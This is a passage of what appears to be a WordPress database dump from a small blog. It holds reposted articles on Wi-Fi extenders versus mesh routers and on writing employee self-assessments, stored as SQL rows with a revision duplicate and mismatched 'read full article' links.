home, the distance from your router, the areas in your home in need of Wi-Fi coverage, and the Wi-Fi demands of your family.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a closer look at our findings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Does a Wi-Fi Extender Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While it’s tempting to think of a Wi-Fi extender as something that can beam fast, reliable Wi-Fi throughout your home, it’s really more of a spot-fix for a single, specific dead zone in your layout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To get the best results, you have to plug the extender into a power outlet midway between your router and the troublesome area. The extender then picks up the Wi-Fi signal from your router and pushes it deeper into your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you’re likely to notice a significant drop in throughput speeds in the “extended” network. That’s in part because an extender relies on the same frequency band as the router itself.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“In the radio frequency world, they’re called repeaters, but in Wi-Fi they’re called extenders,” says Henry Parra, who leads CR’s testing of smartphones and wireless routers. “They repeat the signal on the same frequency to extend coverage.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because the signal is now going through an intermediate step, throughput—or what you and I might simply call “speed”—is now cut in half.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, let’s say you’re standing right next to your Wi-Fi router (where the signal is strongest) and get 50 megabits per second, which is fast enough to stream one, <em>maybe</em> two 4K Netflix shows at the same time. If you were to set up a Wi-Fi extender, then you’d be looking at about 25 megabits per second with the extended network. And that’s in an ideal world, where the Wi-Fi signal hasn’t been degraded by obstacles such as thick walls or large appliances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By contrast, mesh routers use two different frequency bands, which limits the speed loss to roughly 10 percent. They also allow you to move the satellite units around your home, steering a Wi-Fi signal around obstacles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What CR\'s Testing Shows</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are currently 13 Wi-Fi extenders in our ratings, all of which you simply plug into an outlet and set up using either a mobile app or a web-based wizard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We use a professional wireless performance software suite to test each model’s capabilities. This software measures the throughput of the extender directly from a nearby computer. That gives us more precise data than if we were to rely on a web-based service such as&nbsp;Speedtest.net&nbsp;or&nbsp;Fast.com. That’s because data is transmitted directly between the extender and a computer and not over the internet, which can introduce latency. We do three “runs” and then average the measurements to come up with our final throughput score.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In our labs, we place the extender being tested inside a room down the hall and around the corner from the laptop used in the test. This is done to simulate a typical home environment, where you might have your router in one room and the extender in another. We then vary the distance between the laptop and the extender (from 8 to 20 to 35 to 55 feet) to measure the extender’s effectiveness at various distances.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In practice, there’s a balance you want to strike when setting up an extender. The farther you place it from the router, the more you risk losing signal speed. But place it too close to the router and you may not be able to push the signal to the desired location. In the instructions included with the extenders, manufacturers recommend placing the unit about halfway between the router and the area you hope to reach.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So to answer the question of whether or not you should get a Wi-Fi extender, here’s how to think about it. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your goal is simply to get Wi-Fi in that one dead zone in your home, a spot where you like to browse the web and check email, our testing shows that you should be prepared to spend around $50 for an extender. You can pay more for bells and whistles like built-in Ethernet and USB ports, but the performance is roughly the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the moment, extenders that cost less than $30 fare less well in our tests.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, the TP-Link RE220, which retails for about $20 (and which we’ve seen on sale for as low as $17 on Amazon), and the Netgear EX6120, $36, sure do seem appealing. But our tests show their performance to be quite poor, earning low marks in terms of speed (even at short distances) and versatility. So you have to either limit your expectations or shop at a retailer with a generous return policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re hoping to do more demanding tasks, like stream 4K video or play online games that require low latency, you ought to consider a mesh network. Those range in price from $100 to $1,000 but offer a more robust solution, using two or three units that work together to deliver fast Wi-Fi throughout your whole home—not just to one room. And, really, given that prices for mesh routers have fallen quite a bit since the technology was first introduced, you can now find capable models for well under $150 from well-known brands like Google and TP-Link.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics-computers/wifi-extenders/should-you-buy-a-wifi-range-extender-a1199590172/?itm_source=parsely-api\">click h</a><a href=\"https://www.thebraggingmommy.com/how-you-can-be-money-smart-with-your-family-budget/\">ere.</a></p>\n<!-- /wp:paragraph -->','Should You Buy a Wi-Fi Extender?','','inherit','closed','closed','','3828-revision-v1','','','2024-02-27 15:46:36','2024-02-27 15:46:36','',3828,'https://smartinsurance.tips/?p=3830',0,'revision','',0),(3831,1,'2024-02-27 15:51:19','2024-02-27 15:51:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3832,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-20-1024x1024.png\" alt=\"\" class=\"wp-image-3832\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>A performance evaluation is an important tool for keeping communication flowing between teams. Periodic evaluation is a chance for managers and employees to review the recent past and discuss future expectations. An evaluation also serves as an opportunity to set goals as individuals and as a team, and an important part of this process is the employee self-assessment. These tips will help you create a useful self-assessment for your next performance evaluation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Importance of self-assessments</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Self-assessments can be equally useful for employees and managers. The evaluations are normally short, take less than 15 minutes to complete and have long-term benefits for all the involved parties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">For employees</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Self-assessments are the portion of a performance review that offers employees an opportunity to self-reflect and consider what their strengths and weaknesses are. They  are important not only for professional growth but personally as well. By critiquing their own work and behavior, employees can gain insight that helps them improve.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">For managers</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Employees’ self-assessments tell managers how their employees see themselves in the context of the team and the organization at large. They highlight any disagreements or misunderstandings between managers and employees. Self-assessments also offer an opportunity for gathering employee feedback about what motivates an employee (beyond money) to do their best work. From there, managers can encourage professional development for employees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Modern employees are intrinsically motivated to work autonomously and by opportunities to learn and grow. So, from a management perspective, self-assessments — which contribute to autonomy and development — are incredibly valuable,” said David Hassell, founder and CEO of 15Five. “Work product from intrinsically motivated employees tends to be more impactful and sustainable than work derived from extrinsic motivators, such as bonuses or fear tactics.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Best practices for writing a self-assessment</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Despite its importance, writing a self-assessment is no easy task. Analyzing oneself can be immensely difficult, especially when that analysis is submitted to a supervisor for review. If you’re having trouble getting started, these five tips will help you learn how to write a self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Be proud</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One major goal of the self-evaluation is to highlight your accomplishments and recollect milestones in your professional development. A good self-assessment should point to specific tasks and projects that highlight your best work. When describing those accomplishments, employees should emphasize the impact those achievements had on the whole business to emphasize their value to the company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Julie Rieken, CEO of Applied Training Systems Inc., said you should strive to connect your actions with a manager’s goals. This alignment encourages any manager and conveys that you understand your role within the larger context of the company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“If your manager needs to hit a certain number, share how you played a role in hitting the number,” Rieken said. “Accomplishments you list should connect with business objectives.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Be honest and critical</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Self-assessments aren’t just about highlighting triumphs. You should also critically assess the times you came up short. Being honest means pointing out weaknesses that could be improved upon or past failures that taught you a valuable lesson. Recognizing your own flaws is important to demonstrate your ability to learn and grow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, it’s important not to be self-deprecating in your assessment. Timothy Butler, a senior fellow and director of career development programs at Harvard Business School, advised employees to use developmental language when critiquing the areas in which they need to improve.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“You don’t want to say, ‘Here’s where I really fall down,’” Butler told the Harvard Business Review. “Instead, say, ‘Here’s an area I want to work on. This is what I’ve learned. This is what we should do going forward.’”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Continuously strive for growth</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s important during self-assessments to never stagnate; humans are constantly learning and changing (this is why adaptable, resilient teams are so important and common). Whether you’ve had a great year or fallen short of your own expectations, it’s important to remain committed to improving and educating yourself. During a self-assessment, taking a moment to list your goals and objectives for the coming year demonstrates that you are not content to settle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The first step is to adopt a growth mindset and understand that adult human potential is not fixed,” Hassell said. “We are always in a state of becoming, and our potential increases or decreases based on many factors, including the environments where we live and work. Adopting that framework prevents people from becoming too transfixed on their perceived failures and from becoming too attached to their triumphs.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Managers will also see a willingness to improve and take on new things as a sort of coachability. If an employee has struggled, making room for growth could improve their performance. On the other hand, an employee thriving in their position requires growth opportunities to prevent boredom or stagnation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Track your accomplishments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Providing hard data to show what you’ve done throughout the year is highly beneficial. Employees and managers may roughly understand how you have performed but having concrete numbers to back up any assertion strengthens the validity of your self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“If employees … spend 10 seconds a day writing down their one biggest accomplishment, success, metric hit, feedback received for that day, they’d have 10 times more data than they’d ever need for self-assessment,” said Mike Mannon, president of WD Communications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hank Yuloff, the owner of Yuloff Creative Marketing Solutions, said continuous evaluation of your performance can make it much easier to ground your self-assessment in facts and measurable data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“We teach our clients to keep a list of daily and weekly accomplishments so that when it is time for the self-assessment, there is very little guesswork as to how valuable they are to the company,” Yuloff said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Be professional</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You should always be professional when writing self-assessments. This means not bashing the boss for poor leadership or criticizing co-workers for making your life more difficult. It also means not gushing over a co-worker or manager you like. Whether you are providing critical or positive feedback, professionalism is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Being professional means giving the appraisal its due attention, like any other important project that crosses your desk. Dominique Jones, chief people officer at BusPatrol, recommends treating your self-evaluation like a work of art that builds over time. She said you’ll be much happier with the result if you give yourself time to reflect and carefully support your self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Use examples to support your assertions and … make sure that you spell- and grammar-check your documents,” Jones wrote in a blog post. “These are all signs of how seriously you take the process and its importance to you.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Self evaluation example statements</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keeping things simple and using short, declarative bullet points are key to writing an effective self-assessment. While the exact nature of your self-assessment might depend on your industry or your job description, this basic model can help guide you in writing a self-evaluation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Strengths</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I am a dedicated employee who understands my role and responsibilities, as well as the larger mission of our business. I strive to both do my job and make this company successful.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I am a good communicator who stays on task and helps rally the team when cooperation is needed to meet a deadline or solve a problem.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I am a creative thinker who can develop novel solutions and improve conventional ways of doing things.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Weaknesses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I am somewhat disorganized, which often impacts my productivity. I have learned how to manage my time better and intentionally direct my efforts. While it remains a challenge, I have seen some progress and look forward to continually improving.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sometimes, I do not ask for help when I could benefit from assistance. I am always willing to help my teammates, and I know they feel the same way, so I will try to be more vocal about when I need a helping hand moving forward.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Core values</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I believe in teamwork and cooperation to overcome any obstacle.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I value respect and transparency between employees and managers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I value friendship and building warm relationships within the workplace.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I strive to be a welcoming and helpful presence to my co-workers.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Accomplishments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I never missed a deadline in the past year and often submitted my work early.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’ve gone beyond my job description to ensure our team operates optimally, staying late and helping others whenever it could contribute to our collective goal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I created and delivered a presentation, stepping outside my comfort zone to do so. It was well received and bolstered my confidence regarding public speaking.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Goals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I want to continue developing my presentation and public speaking skills. As a weakness that I listed on previous self-assessments, it is gratifying to see that I have made some progress on this skill set, and I would like to double down on the growth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I aspire to enter a managerial role. I enjoy working closely with my teammates and considering the bigger picture, and I often efficiently help direct resources. I could see myself as a manager who helps facilitate teamwork and encourages workers to do their best.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Feedback</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>My manager is pleasant and transparent, and they always set clear expectations. I never have to guess where I stand. I appreciate the openness and direct communication.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I want to be more involved in decision-making at the team level. I believe each team member has unique insights that supervisors cannot fully understand since their perspective is different. I believe involving staff members in strategic planning could greatly improve results.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Additional self evaluation examples</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Along with the elements in the preceding sample, self-evaluation forms might ask you to address some more specific areas. Your answers will give your employer deeper insights into how you view your strengths and weaknesses. Here are some tried-and-true phrases that managers like to see in a self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Communication</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For communication efforts on the job, here are a few common phrases to include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I communicate effectively with project managers and team members.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I can have difficult conversations with co-workers and managers in a respectful manner.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I provide constructive feedback and know how to accept the same from team members and management.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Performance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Performance is normally the most generalized area of self-assessments. These are some effective phrases to use:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I worked on X projects and met timelines and goals for each one.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I take the initiative on each project and confirm that I understand the parameters before launch.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m consistently the top performer within my project team.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I always look for ways to improve on the job.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Reliability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The reliability section will discuss how dependable you perceive yourself to be so that you can include the below statements:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I am well known for my dependability and the way I give it my all on every project.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My work is always done on time with a high level of accuracy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m always on time at work and arrive at meetings early, being mindful of other people’s time.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Leadership</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For leadership, you should use phrases demonstrating how you’ve taken the initiative in the workplace.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are a few self evaluation examples when describing your leadership capabilities:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I always go out of my way to help co-workers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I make sure everyone on my team feels comfortable when exchanging ideas.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I look for ways to keep my team on track and meet important milestones.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I brainstorm ways to motivate others and freely give praise when performance goals are met.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Innovation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For innovation, the self-assessment is looking for ways that you creatively solved problems. Here are a few self evaluation example statements about innovation:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I always look for better ways to manage projects and ensure the process goes smoothly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m not afraid to look for out-of-box solutions.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I don’t let change interrupt workflow. Instead, I roll with the adjustments to keep projects on track.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Teamwork</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You need to demonstrate how well you can get your team to work together, using phrases similar to the below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I maintain a positive attitude to benefit my co-workers and managers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I encourage team members to work together as a way for us all to reach a common goal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I always consider my co-workers’ feelings and show respect for their opinions.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Problem-solving skills</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In this section, you’re expected to talk about ways you have come up with solutions to common workplace problems. Here are a couple of sample phrases:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I can look at a problem from every direction to devise a creative solution.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m willing to ask for help when having a difficult time brainstorming a solution to a workplace problem.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Make performance evaluations a habit</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Performance evaluations help everyone know where they stand and how they’re performing in relation to business goals. Often, workplaces engage in performance evaluations annually, but they should become an ongoing process to fairly and accurately evaluate employees and create a positive company culture of constant communication and feedback.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“[S]elf-assessments cannot merely be an annual event. They are part of an ongoing and regular practice of reflection,” Hassell said. “If you look at a snapshot of performance, you will never see the truth. It’s too easy to focus on a particular experience or event and then create an overarching story around performance.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This will prevent “recency bias,” a type of tunnel vision that centers on recent events rather than the big picture. It also creates an inclusive, give-and-take culture where employees are invited to offer feedback to their managers as much as their managers offer them feedback. Overall, a workplace built on inclusive communication has a greater chance of success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Managers who adopt a coaching or mentorship role can provide external reflections and much-needed perspective so employees can see failures as learning opportunities,” Hassell said. “They can also enjoy the praise of a job well done but not dwell on past triumphs, because every company has a continued need for peak employee performance over time.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics-computers/wifi-extenders/should-you-buy-a-wifi-range-extender-a1199590172/?itm_source=parsely-api\">click h</a><a href=\"https://www.businessnewsdaily.com/5379-writing-self-assessment.html\">ere.</a></p>\n<!-- /wp:paragraph -->','How to Write a Self-Assessment: 5 Tips to Improve Your Evaluation','','publish','closed','closed','','how-to-write-a-self-assessment-5-tips-to-improve-your-evaluation','','','2024-02-27 15:51:19','2024-02-27 15:51:19','',0,'https://smartinsurance.tips/?p=3831',0,'post','',0),(3832,1,'2024-02-27 15:48:43','2024-02-27 15:48:43','','Untitled-20','','inherit','closed','closed','','untitled-20-3','','','2024-02-27 15:48:43','2024-02-27 15:48:43','',3831,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-20.png',0,'attachment','image/png',0),(3833,1,'2024-02-27 15:51:19','2024-02-27 15:51:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3832,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-20-1024x1024.png\" alt=\"\" class=\"wp-image-3832\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>A performance evaluation is an important tool for keeping communication flowing between teams. Periodic evaluation is a chance for managers and employees to review the recent past and discuss future expectations. An evaluation also serves as an opportunity to set goals as individuals and as a team, and an important part of this process is the employee self-assessment. These tips will help you create a useful self-assessment for your next performance evaluation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Importance of self-assessments</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Self-assessments can be equally useful for employees and managers. The evaluations are normally short, take less than 15 minutes to complete and have long-term benefits for all the involved parties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">For employees</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Self-assessments are the portion of a performance review that offers employees an opportunity to self-reflect and consider what their strengths and weaknesses are. They  are important not only for professional growth but personally as well. By critiquing their own work and behavior, employees can gain insight that helps them improve.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">For managers</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Employees’ self-assessments tell managers how their employees see themselves in the context of the team and the organization at large. They highlight any disagreements or misunderstandings between managers and employees. Self-assessments also offer an opportunity for gathering employee feedback about what motivates an employee (beyond money) to do their best work. From there, managers can encourage professional development for employees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Modern employees are intrinsically motivated to work autonomously and by opportunities to learn and grow. So, from a management perspective, self-assessments — which contribute to autonomy and development — are incredibly valuable,” said David Hassell, founder and CEO of 15Five. “Work product from intrinsically motivated employees tends to be more impactful and sustainable than work derived from extrinsic motivators, such as bonuses or fear tactics.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Best practices for writing a self-assessment</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Despite its importance, writing a self-assessment is no easy task. Analyzing oneself can be immensely difficult, especially when that analysis is submitted to a supervisor for review. If you’re having trouble getting started, these five tips will help you learn how to write a self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Be proud</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One major goal of the self-evaluation is to highlight your accomplishments and recollect milestones in your professional development. A good self-assessment should point to specific tasks and projects that highlight your best work. When describing those accomplishments, employees should emphasize the impact those achievements had on the whole business to emphasize their value to the company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Julie Rieken, CEO of Applied Training Systems Inc., said you should strive to connect your actions with a manager’s goals. This alignment encourages any manager and conveys that you understand your role within the larger context of the company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“If your manager needs to hit a certain number, share how you played a role in hitting the number,” Rieken said. “Accomplishments you list should connect with business objectives.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Be honest and critical</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Self-assessments aren’t just about highlighting triumphs. You should also critically assess the times you came up short. Being honest means pointing out weaknesses that could be improved upon or past failures that taught you a valuable lesson. Recognizing your own flaws is important to demonstrate your ability to learn and grow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, it’s important not to be self-deprecating in your assessment. Timothy Butler, a senior fellow and director of career development programs at Harvard Business School, advised employees to use developmental language when critiquing the areas in which they need to improve.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“You don’t want to say, ‘Here’s where I really fall down,’” Butler told the Harvard Business Review. “Instead, say, ‘Here’s an area I want to work on. This is what I’ve learned. This is what we should do going forward.’”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Continuously strive for growth</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s important during self-assessments to never stagnate; humans are constantly learning and changing (this is why adaptable, resilient teams are so important and common). Whether you’ve had a great year or fallen short of your own expectations, it’s important to remain committed to improving and educating yourself. During a self-assessment, taking a moment to list your goals and objectives for the coming year demonstrates that you are not content to settle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 